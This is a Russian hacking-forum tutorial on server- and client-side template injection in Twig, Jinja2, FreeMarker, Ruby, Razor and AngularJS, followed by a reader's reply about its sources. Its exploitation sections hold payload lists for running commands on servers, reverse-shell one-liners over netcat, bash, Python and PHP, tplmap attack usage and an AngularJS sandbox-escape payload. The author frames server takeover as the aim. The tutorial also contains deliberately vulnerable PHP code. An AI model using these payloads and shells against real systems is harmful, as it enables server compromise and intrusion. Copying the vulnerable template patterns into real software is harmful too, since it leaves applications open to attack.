• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья SSTI/CSTI – недооцененные уязвимости. Проблемы шаблонизаторов.

Urob0ros

HDD-drive
Пользователь
Регистрация
26.09.2020
Сообщения
40
Реакции
251
ssti_header.png

Введение:

Всех приветствую. Сегодня хотелось бы разобрать, по моему мнению, одну из самых недооцененых уязвимостей в вебе. Сейчас у всех на слуху XSS, CSRF, даже старые как мир SQL-inj, но что вы слышали про SSTI или CSTI и про иньекции шаблонов впринципе ? А тем временем, это одна из самых опасных уязвимостей в вебе, которая по сути является прокачаной версией RCE (Remote code execution – удаленное выполнение кода), в случае если речь идет о SSTI, и прокачаной версией XSS, если речь идет о CSTI. Если правильно проэксплутировать, например, SSTI уязвимость, то можно выполнить почти любую команду на сервере. Но тем не менее, уязвимость, по крайней мере в рускоязычном сегменте, обсуждается не так уж часто. Многие тестеры не знают про нее, либо же на начальных порах просто напросто путают с XSS, раскручивают как XSS и на этом останавливаются. У CSTI чуть более скромный “выхлоп”, но она тоже является достаточно интересной разновидностью XSS, отличающейся от классической, о которой я рассказывал вот тут. Все это делает иньекцию в шаблоны, по моему мнению, одной из самых недооцененных уязвимостей в вебе. Поэтому, давайте вместе разбиратся что это за уязвимость и откуда она берется.

Сразу предупреждаю, теории в этой статье будет многовато и местами придется поднапрячь мозги, особенно если вы не знакомы с некоторыми моментами работы веб приложений. Я же, в свою очередь, постараюсь изложить только самое необходимое, но при этом обьяснить полный прицнип работы бага от “а” до “я”, разбавив теорию практической частью для наглядности и разобрав все по порядку.
Мы разберем откуда берется уязвимость, разберемся как ее эксплутировать и как получить обратный шелл на наш сервер при помощи взломанного приложения для SSTI, а так же как искать и эксплуатировать XSS для CSTI. Погнали:

Небольшая оговорка: в данной статье не будет разобрано написание собственного кода для эксплуатации уязвимостей. Дело в том, что во первых, это достаточно трудоемкий процесс, который мало того что отличается от случая к случаю, так еще и требует неслабых навыков в JS, чтения и разбора документации к каждому фреймворку и разного подхода в каждом отедельном случае. К тому же, статья итак вышла достаточно длинной, а если описывать еще и процесс разработки нагрузок для выхода за пределы песочницы, то она растянулась бы еще раза в два-три. Поэтому, в этой статье разобраны основы, откуда берется уязвимость, как ее искать и эксплуатировать и к чему это может привести, а полезные нагрузки будут использоваться общедоступные, которые легко гуглятся для каждого описываемого фреймворка и работают в большинстве случаев.
SSTI
Теория:

Итак SSTI – это Server Side Template Injection, то есть внедрение шаблона на серверной стороне. Само слово “шаблоны” в названии намекает, что уязвимость напрямую связана с шаблонизаторами. Так и есть, эта уязвимость – результат некоректной работы с шаблонизаторами, когда разработчики напрочь забывают про раздел “безопасность” в документации. Но давайте по порядку

Шаблонизаторы

Сначала разберем тот самый корень всех зол, из за которого все и происходит. Шаблонизаторы – это эдакие “фреймворки” для веб-разработчиков, которые позволяют отделить бизнес-логику (бэкенд) и представление(фронт). Это позволяет командам разработчиков бэкенда и фронта работать более успешно, минимально при этом пересекая сферы работы. Шаблонизаторы существуют почти для всех популярных языков, которые хоть как-то используются для веб-разработки. Туда относится и php, и python, и ruby on rails, и даже java с C#.

Как работают шаблонизаторы на примере twig:

Для более полного понимания, возьмем максимально простой пример. Предположим, у нас есть простая веб-страница, которая принимает на вход имя и выводит его на страницу. Каким образом написать эту страницу? Первое что приходит в голову – создаем простой файл index.php и записывает туда следующее:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="test.php" method="GET">
<h1>Введите ваше имя</h1>
<input type="text" name="name">
<input type="submit" value="Отправить">
</form>
</body>
</html>

<?php

$name =$_GET['name'];
print("<h2> Привет, $name<h2>");

?>
Берем верстку с формой, при помощи GET-запроса отправляем данные в этот же файл, обрабатываем и тут же выводим:
1608766858481.png

Вроде достаточно просто, однако, в документе получается мешанина из гипертекста, кода, да еще и ответ с гипертектстом приходится выводить при помощи вывода строки через метод print. Пример достаточно прост, поэтому выглядит все не очень страшно, но что если нужно будет реализовать пару сотен функций на странице ? И что делать в таком случае, если требуется разделить работу фронтендера и бэкендера, да еще и так, чтобы в процессе они друг другу не мешали и не портили результаты работы друг-друга. Одно из возможных решений как раз таки шаблонизаторы.

Посмотрим как тот же пример можно реализовать при помощи шаблонизатора twig для php.

Во первых, теперь файла будет два: index.php и index.html. И теперь html файл будет содержать только верстку, причем вывод нужных данных будет реализован при помощи переменных шаблонизатора, а пхпшный файл будет сожержать всю бизнес-логику.
Таким образом мы получим уже два вот таких вот файла.

Index.php:

PHP:
<?php

require __DIR__ . '/vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\FilesystemLoader;

$loader = new FilesystemLoader(__DIR__ . '/templates');
$twig = new Environment($loader);

if (isset($_GET['name']) && $_GET['name']!= ''){
    $name = $_GET['name'];
    echo $twig->render('index.html', ['name' => "Hello $name" ]);
}else{
    echo $twig->render('index.html', ['name' => "Enter your name pls" ]);
}

?>

index.html:

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Введите ваше имя</h1>
<form action="/index.php">
<input type="text" name="name">
<input type="submit" value="Enter">
</form>
<h1>{{name}}<h1>
</body>
</html>
Установка twig в проект, если кто решит поэксперементировать:
Для устновки потребуется composer. На Debian-подобных системах ставится следующей командой:
sudo apt install composer
Далее, переходим в директорию с проектом, так как загружен твиг будет именно туда, и выполняем следующую команду:
composer require “twig/twig:^3.0”
После выполнения команды composer загрузит в активную директорию папку vendor, в которой и будет находится наш twig версии 3.0 и файл autoload.php, который мы в дальнейшем будем использовать для подключения в проект.
Чуть более подробно рассмотрим что получается:
Страница будет выглядть примерно так же:
1608767001918.png


В верстке все стандартно – собираем форму, которая отправляет параметр name в наш php файл. Больше всего нас интересует последняя строчка:
HTML:
<h1>{{name}}<h1>
Это самое “{{name}}” по сути является переменной, значение которой мы можем контролировать при помощи шаблонизатора. Рассмотрим как это происходит в php файле:
Подключаем twig через autoload.php composer’a
PHP:
require __DIR__ . '/vendor/autoload.php';
Указываем путь к директории, в которой хранятся шаблоны (в нашем случае index.html находится именно там)
PHP:
$loader = new FilesystemLoader(__DIR__ . '/templates');
$twig = new Environment($loader);
Проверяем чтобы параметр был передан и не был пустой строкой
PHP:
if (isset($_GET['name']) && $_GET['name']!= ''){
Принимаем через GET запрос и обрабатываем параметр name
PHP:
$name = $_GET['name'];
В случае если имя передано, заменяем {{name}} в шаблоне на слово “Hello” и переменную $name
PHP:
echo $twig->render('index.html', ['name' => "Hello $name" ]);}
В случае, если пользователь не ввел имя – выводим на место шаблона надпись с просьбой ввести имя:
PHP:
else{ echo $twig->render('index.html', ['name' => "Enter your name pls" ])};

В итоге получаем точно такую же страницу, но уже без мешанины.
Как итог – мы полностью разделяем бизнес логику и представление. Плюсом такого подхода, как уже было сказано ранее, является то, что потенциальному бэкендеру не придется лезть в верстку, чтобы подправить выводимые данные, и наоборот, потенциальному фронту, не придется листать мешанину из кода и верстки, чтобы найти нужный кусок.

Теперь, когда мы разобрались в теории, как вообще работают шаблонизаторы, можно переходить к самой уязвимости.

Непосредственно уязвимость

Теперь, давайте разберем, какую ошибку должен допустить разработчик, чтобы мы могли использовать это в своих целях.

Кстати говоря, если кто-то подумал о XSS и внедрении кода на страницу в этом примере, спешу вас огорчить – несмотря на то, что в примере с шаблонизатором, непосредственно через php никакой обработки пользовательского ввода нами не проводилось, шаблонизатор сам заменит все символы на html-entites эквиваленты:
1608767298183.png

Но конкретно сейчас нас интересует SSTI. И для того чтобы все было понятно, рассмотрим еще один пример, который и будет является уязвимым.

Для этого вернемся к нашему первому примеру и внимательнее рассмотрим синтаксис вот этой строки:
PHP:
echo $twig->render('index.html', ['name' => "Hello $name" ]);}
В ней мы сначала передаем в функцию render имя страницы, первым аргументом, а затем вторым уже передаем массив с переменными, которые будут заменены на странице. А теперь представим что разработчик решит позволить пользовательскому вводу контролировать не только содержимое переменных, но и шаблона. Для примера делаем вот такую страницу, которая принимает на вход через GET-запрос параметр name и здоровается с ним.
1608767354721.png

Представим ситуацию, что разработчику нужно было реализовать вывод каких-то определенных данных, но он, по какой-то причине, решил делать это не через готовые шаблоны, а просто на месте создать свой и записать туда некий блок, который и будет выводить данные. Реализовал он это при помощи метода ArrayLoader:
PHP:
<?php

require __DIR__ . '/vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\FilesystemLoader;
use Twig\Extension\StringLoaderExtension;


$name = $_GET['name'];
$loader = new \Twig\Loader\ArrayLoader([
    'index.html' => "hello $name",
]);
$twig = new \Twig\Environment($loader);

echo $twig->render('index.html');

?>

Нас интересует вот эта строка:
PHP:
$loader = new \Twig\Loader\ArrayLoader([
    'index.html' => "hello $name",
]);
Как видим создается на месте шаблон index.html и в его содержимое записывается hello и переменная name. Ошибка здесь в том, что все содержимое шаблона, записываемого на страницу контролирует пользователь. Однако, все постепенно. Чем это опасно и как это использовать мы разберем чуть позже. А пока разберемся с тем, как вообще искать такие места на странице.
Поиск и обнаружение
Помните, ранее я сказал, что одна из проблем при поиске таких уязвимостей в том, что ее часто путают с XSS ? А происходит это потому, что если пользователь контролирует шаблон, как в нашем уязвимом примере, становится возможным внедрение кода. То есть, если мы сейчас попробуем внедрить стандартный <script>alert();</script> , то мы успешно вызовем js-код:
1608769368371.png

На этом этапе многие решают что все, XSS найдена, и начнают расскручивать именно межсайтовый скриптинг, в то время как гораздо более опасная уязвимость остается не замеченой. Нет, при желании конечно SSTI можно использовать как XSS для внедрения на страницу кода, это один из возможных векторов атаки, но есть куда более полезный способ эксплутации – RCE. Захват сервера через удаленное выполнение кода будет куда полезнее, чем атака на пользователей, думаю, это очевидно. Но как понять, что перед нами именно SSTI, а не простая XSS, допущеная раздолбаем-разработчиком ?

Так как в случае с SSTI пользователь полностью контролирует шаблон, для определения вида уязвимости можно использовать вот такие флаги:

{{7*7}}
${7*7}
<%= 7 * 7 %>

Далее, анализируется вывод в том месте, где по идее заместо встоенного нами шаблона должен был отобразится результат. И в случае, если заместо флага мы получим результат выражения в шаблононе (конкретно в нашем случае – 49 или что-то подобное), это будет говорить о том, что перед нами SSTI.
Попробуем использовать флаг с синтаксисом нашего шаблонизатора, для того, чтобы добавить свой шаблон на страницу:
1608767493080.png

В зависимости от разных шаблонизаторов, флаги могут работать (или не работать) по разному. Например, первый флаг в случае с шаблонизатором twig выведет 49, т.е. результат действия с целочилсенными переменными, а, например, jinja2 – шаблонизатор для python, выведет 7777777, т.е. результат переможножения строки в python.
Поэтому первым и одним из самых важных шагов по пути к получению шелла будет определение шаблонизатора и как следствие ЯП.

Здесь можной пойти несколькими путями:
Первый – зайти от ЯП. Есть достаточно много инструментов для разведки, которые могут помочь определить стек, на котором работает приложение. Примерами таких инструментов являются например whatweb или webanalyze. Если мы будем знать какой язык используется для бэкенда, мы сможем понять какие потенциальные шаблонизаторы для этого языка могут быть использованы и довольно высока вероятность того, что это будет один из самых популярных шаблонизаторов для этого языка. Ну или как минимум, это здорово сузит список потенциальных шаблонизаторов, которые могли быть использованы в проекте.

Второй способ - для определения, так сказать, в полевых условиях. По интернету гуляет вот такая схема, которая при помощи флагов позоволяет выяснить какой именно шаблонизатор используется:
1608767519113.png

Ну а если и это не сработает можно воспользоватся инструментами автоматизации атаки(tplmap, о нем речь пойдет чуть позже) ну или просто перебирать различные флаги, выбивая часть методом исключения.
Процесс выяснения версии шаблонизатора достаточно динамический и может отличатся от случая к случаю, однако, как правило, особых проблем не вызывает. Как правило, если используется шаблонизатор, то один из самых популярных, а таких на каждый ЯП 1-2 и выяснить какой именно, обычно не проблема.
Небольшой вывод по поиску:
Если видите перед собой XSS и есть вероятность того, что на сайте используется шаблонизатор, обязательно попробуйте SSTI флаги, чтобы не пропустить узявимость. Много времени это не займет, а результат в случае успеха будет куда более приятным. Так же, при тестировании, добавьте в свой арсенал еще и флаги для проверки на иньекции шаблонов.
Эксплуатация: Практика

Итак, мы нашли место, где пользователь контролирует шаблон, выяснили какой именно шаблонизатор используется, следующим этапом будет написание полезной нагрузки, которую мы встроим внутрь шаблона. Процесс достаточно трудоемкий и требует чтения документации шаблонизатора, изучения основного синтаксиса и что не менее важно – творческого подхода. Но, мир не без добрых людей и на самом деле, пэйлоады почти для любого шаблонизатора можно спокойно отыскать в интернете. В нашем случае, нам требуется полезная нагрузка для twig. Поэтому, вбив в поисковик “SSTI payloads twig” мы получаем первым же линком сразу два возможных пэйлоада:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
и
{{['id']|filter('system')}}
Пробуем внедрить первый и получаем 500 ошибку:
1608767639826.png

Скорее всего это связано с версией шаблонизатора, так как большинство инфы по twig идет про первую или вторую версию, а мы используем самую новую – третью.

А вот со со второй нагрузкой уже везет больше, нам удается вызвать команду id на сервере, которая выводит информацию о текущем пользователе:
1608767654037.png

Думаю о том, какие это открывает возможности говорить не стоит. Если мы можем выполнить любую команду на сервере через пользовательский ввод, мы можем спокойно получить обратное соединение и, как следствие, получить полный контроль над сервером. В слудющем разделе я приведу примеры команд для обратных соединений, а пока предлагаю ознакомится с небольшим списком флагов и нагрузок под самые, по моему мнению, часто встречающиеся шаблонизаторы.

Список пэйлоадов под популярные шаблонизаторы:

FreeMarker
Достаточно популярный шаблонизатор для Java. Приведеные для него примеры, вполне могут работать с другими java-шаблонизаторами.
Флаги:
${3*3}
#{3*3}
Полезные нагрузки:
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}


Flask/ Jinja2
Два самых популярных шаблонизатора для python. Первый часто используется не особо опытными разработчиками, что может привести к его неправильному использованию, и, как следствие, уязвимости в приложении.
Флаги:
{{4*4}}[[5*5]]
{{7*'7'}} (Вернёт 7777777)
{{config.items()}}
Полезные нагрузки:
{{ ''.__class__.__mro__[1].__subclasses__()[272]('touch /tmp/rce',shell=True) }}
(число 272 может отличаться от случая к случаю)

Twig
Шаблонизатор для php. Именно его мы использовали в примере.
Флаги:
{{7*7}}
{{7*'7'}}
{{_self}}
Полезные нагрузки:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
Ruby
Яп Ruby, а точнее его веб-версия ruby on rails имеет встроенный шаблонизатор RAT(Ruby Application Templates), который предусмотрен для разработчиков “из коробки”
Флаги:
<%= 7 * 7 %>
#{ 7 * 7 }
Полезные нагрузки:
<%= system('system_command') %>
<%=` ls /` %>
<%= IO.popen('ls /').readlines() %>

ASP .net Razor
Шаблонизатор для ASP.net фреймворка под язык программирования С#.
@(1+2)
Полезные нагрузки:
@{C# code}
Более полный список пэйлоадов можно посмотреть в этом и этом репозитории на гитхабе

Постэксплуатация
После того, как мы написали полезную нагрузку, мы можем выполнять любую команду на сервере. Давайте разберем некоторые команды, которые мы можем внедрить, для того чтобы добится удаленного доступа:
(host_ip – адрес вашего сервера для обратного подключения, host_port – номер порта, на который будет производится подключение, от 1 до 65535. Символы “<” и “<” в примерах вводить не нужно, они используются для удобства !)

Мы будем использовать обратное сединение. Оно позволяет обойти некоторые правила файрвола, так как не открывает порты на машине, а заставляет целевой сервер подключаться к нам, а уже затем мы передаем ему комманды. Для того, чтобы сервер успешно к нам подключился, нужно слушать порт, на который он будет “стучать” после внедрения шелла. Для прослушки подключений можно вполне использовать инструмент NetCat, сделать это можно командой:
nc -vv -l -p <host_port>
Реверс шелл через NetCat (не работает в последних версиях netcat):
nc -e [I]bin/[/I]sh <adress> <port>
Реверс шелл через bash
bash -i >& /dev/tcp/<host_ip>/<host_port> 0>&1
Реверс шелл через python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<host_ip>",<host_port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Реверс шелл через php
php -r '$sock=fsockopen("192.168.1.7",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Для получения обратного соединения, достаточно выполнить на сервере одну из команд, указаных выше.

Автоматизация атаки при помощи tplmap
Теперь, когда мы разобрались с ручной эксплуатацией, можно поговорить и об автоматизации :) Для автоматизации атаки существует инструмент tplmap. Скачать его можно здесь. Так же, инструмент находится в репозиториях специализированных дистрибутивов, таких как kali и blackarch.

Копируем репозиторий с гитхаба:
git clone https://github.com/epinna/tplmap.git
Переходим в директорию
cd tplmap
Иструмент питоновский, поэтому устанавливаем все необходимые зависимости через pip:
pip install -r requirements.txt
Внутри лежит питоновский исполняемый файл tplmap.py Запускается он с минимальным функционалом примерно следующим образом:
./tplmap.py -u <url вместе с параметрами>
Если мы попробуем использовать инструмент на нашем примере, то получим следующее:
1608768077171.png

Как видим, tplmap определил версию шаблонизатора, уязвимый параметр и полезную нагрузку.

Так же, инструмент обладает большим количеством других полезных функций, вот некоторые из них:

-d – позволяет передать инструменту данные для POST запроса в формате “param1=value1&param2=value2”

-c – позволяет установить cookie

-A – позволяет установить userAgent

--injection-tag – позволяет установить содержимое полезной нагрузки (в нашем случае используется по дефолту {{*}}, но мы можем контроливать содержимое шаблона, заменив его например на {{_self}} )

Так же, инстурмент имеет возможность установки и запуска шеллов. Возможно как обычное, так и обратное соединение, однако эта функция далеко не всегда работает, особенно с последними версиями фреймворков (Оно и понятно, инструмент обновлялся последний раз 4 года назад), поэтому для подобных целей лучше поискать альтернативы, либо самому, если есть желание и навыки, чутка дороботать инструмент :)

Брат-близнец CSTI*
Так же, раз уж мы здесь говорим об уязвимостях в шаблонизаторах, нельзя не упомянуть CSTI. Это тоже иньекция в шаблоны, но уже на клиентской стороне (Client Side template injection). Если предыдущая уязвимость SSTI являлась по сути улучшенной версией RCE, то CSTI это улучшенная XSS. Почему улучшенная ? Во первых, допустить ее несколько проще, и допускают ее обычно фронтендеры, которые по поводу безопасности обычно не заморачиваются. Во вторых, ее эксплуатация чуть сложнее, чем у обычной XSS, где внедряется код на страницу, далее вы это увидите. Ну и в третьих, в случае удачной экслутатации, стандартные стредства защиты от XSS, которые есть у пользователей в браузере, становятся бесполезны, так как защитить от этого вектора они не в состоянии.

Теория:
Итак, снова вкратце разберем откуда берется эта уязвимость. Особенно страдают от нее два JavaScript фреймворка – это angular.js и vue.js Разбирать как делать не надо, мы будем на примере AngularJS (Не путать с просто Angular. Angular это плафторма для разработки, а AngularJS – фремворк, использующий для работы MVС шаблон, то есть по сути является клиентским шаблонизатором).
Это js фреймворк с открытым исходным кодом. Фреймворк помогает разделить бизнес логику и представление, то есть по сути тоже является шаблонизатором, с той разницей, что работает он на JavaScript на клиентской стороне. Предназначен фреймворк в первую очередь для несложных приложений, где нет необходимости писать сложные горы кода для бэка, но обрабатывать данные нужно, однако, может быть использован и в крупных проектах.

Для понимания принципа работы возьмем тот же пример, что мы использвали для SSTI, то есть страницу, которая принимает имя и выводит его, только теперь сделаем ее на чистом php, без всяких твигов:
В результате получим вот такой код:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
<h1>Введите ваше имя:</h1>
<form action="index.php" method="get">
<input type="text" name="name" id="1">
<input type="submit" value="Enter">
</form>
<p>
<?php
    $name = $_GET['name'];
    echo 'Hello '.htmlspecialchars($name,ENT_QUOTES);?>
</p>
</body>
</html>
<head>
Обратите внимание на эту строку:
PHP:
echo 'Hello '.htmlspecialchars($name,ENT_QUOTES);?>
Мы используем метод htmlspecialchars для превращения в пользовательском вводе символов вроде < “ в html-entites эквиваленты, для защиты от XSS. Этот пример является защищенным от XSS.
1608768207326.png

Итак, мы реализовали пример. Посмотрим как можно реализовать этот же пример при помощи AngularJS.

HTML:
<!DOCTYPE html>
<html lang="en" ng-app='test'>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
<title>Document</title>
</head>
<body>
<label>Введите имя:</label>
<input type="text" ng-model="name" placeholder="Введите имÑ">

<h1>Добро пожаловать {{name}}!</h1>
</body>
</html>
Вот что получается:
1608768247412.png

Как видим, все гораздо проще. Для подключения нужно всеголишь добавить атрибут ng-app в тег html и добавить строку с подключением скрипта в head
Как итог, мы обрабатываем пользовательский ввод прямо в input’e и выводим в шаблонную переменную {{name}}

Уязвимость:

В отличие от серверных шаблонизаторов, где уязвимость возникала из за того, что пользовательский ввод контролировал шаблон из за ошибки в коде разработчика, здесь все более опасно, потому что для возникновения уязвимости, достаточно совместить в коде php и angular. Вернемся к нашему первому защищенному примеру. А теперь предположим, что разработчик решил написать какой-то костыль и подключить AngularJS в проект, где уже есть php вывод. Абсолютно не важно для каких целей он решил это сделать, он просто добавил атрибут html-тегу и подключил скрипт. И для возникновения уязвимости в нашем примере, этого более чем достаточно!
Возьмем тот же пример, но уже с подключенным ангуляр, причем никакие действия при помощи него не производятся, он просто есть в проекте:
HTML:
<!DOCTYPE html>
<html lang="en" ng-app>
<head>
<script src="/angular.min.js"></script>
</head>
<body>
<h1>Введите ваше имя</h1>
<form action="index.php" method="get">
<input type="text" name="name" id="1">
<input type="submit" value="Enter">
</form>
<p>
<?php
    $name = $_GET['name'];
    echo 'Hello '.htmlspecialchars($name,ENT_QUOTES);?>
</p>
</body>
</html>
<head>

А теперь попробуем внедрить шаблон, их синтаксис такой же, как например в php-шном twig
1608768313323.png

Бинго!
И это несмотря на то, что наш ввод обрабатывался методом . То есть, стандартные методы санитизации клиентских данных не защищают от внедрения шаблона.

Теперь, когда мы получили возможность внедрять свой шаблон на страницу, мы можем попытаться выйти из песочницы и выполнить произволный js-код. Процесс выхода за пределы песочницы здесь, как и в серверной части, достаточно уникален для каждого случая, поэтому описывать процесс написания собственных костылей не вижу смысла. Просто гуглим XSS for AngularJS и получаем вот такой пэйлоад:
{{constructor.constructor(“alert(1)”)()}}
Пробуем внедрить:
https://xss.pro/attachments/18341/?hash=bad0112d715c19e914df92274ef0e0f0
Успех! Мы вызвали алерт. Ну а что делать с этим дальше – уже дело постэксплуатации XSS, об это я тоже писал в другой своей статье, вот тут.

Вообще, AngularJS не должен соприкасаться с php выводом, это четко прописано в документации, однако, как показывает практика, многие разработчики любят крутить собтсвенные велосипеды, по принципу “работает и ладно”. Вот именно это нас и кормит :)

Выводы:

Итак, мы разобрали тему иньекций в шаблоны. Предлагаю провести финальную черту и подвести итоги:

1. Уязвимость шаблонизаторов достаточно распостраненная, но о ней не так много известно.

2. При проверке сайтов, лучше добавить в свой арсенал флаги для поиска иньекций в шаблоны. Далее нужно внимательно анализировать пользвательский ввод и вывод, и в случае с фронтенд-фреймворками проверять старницу на наличие определенных флагов ,говорящих об использовании того или иного фреймворка (как ng-app в случае с AngularJS)

3. В некоторых редких случаях, вам моежт не повезти и ни один из найденых пэйлоадов в интернете не будет работать. В этом случае придется засучить рукава и лезть в документацию, для того, чтобы разобраться как работает шаблонизатор, какие глобальные переменные доступны из шаблона и т.д. Это может занять как пару часов, так и пару дней, в зависимости от вашего опыта и навыков, в том числе и быстрого чтения. Главное в этом случае не отчаиваться и разбираться до конца. Потому что, если уже есть дыра в безопасности, раскрутить ее – уже дело техники.

Ну, а на этом с темой иньекций в шаблоны я заканчиваю. Всем добра!

(с) Urob0ros, специально для форума xss.pro
 
Последнее редактирование:
Жаль, что не указан список первоисточников.


"Поехали." - как пишет автор.

1) Server-Side Template Injection - уязвимости шаблонизатора twig, статья на базе материалов конференции Black Hat USA 2015.
оттуда картинки

2) In-depth Freemarker Template Injection

можно и далее найти первоисточники. Мне именно это не нужно. Любопытно другое.
Вывод таков: статья - хороший качественный перевод + рерайт: уникализированный и осмысленный.
Остальные - примерно такие же. Я не знаю требования к статьям. Если это всех устраивает, как говорится, на здоровье.

Urob0ros - прокомментируйте, пожалуйста =)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх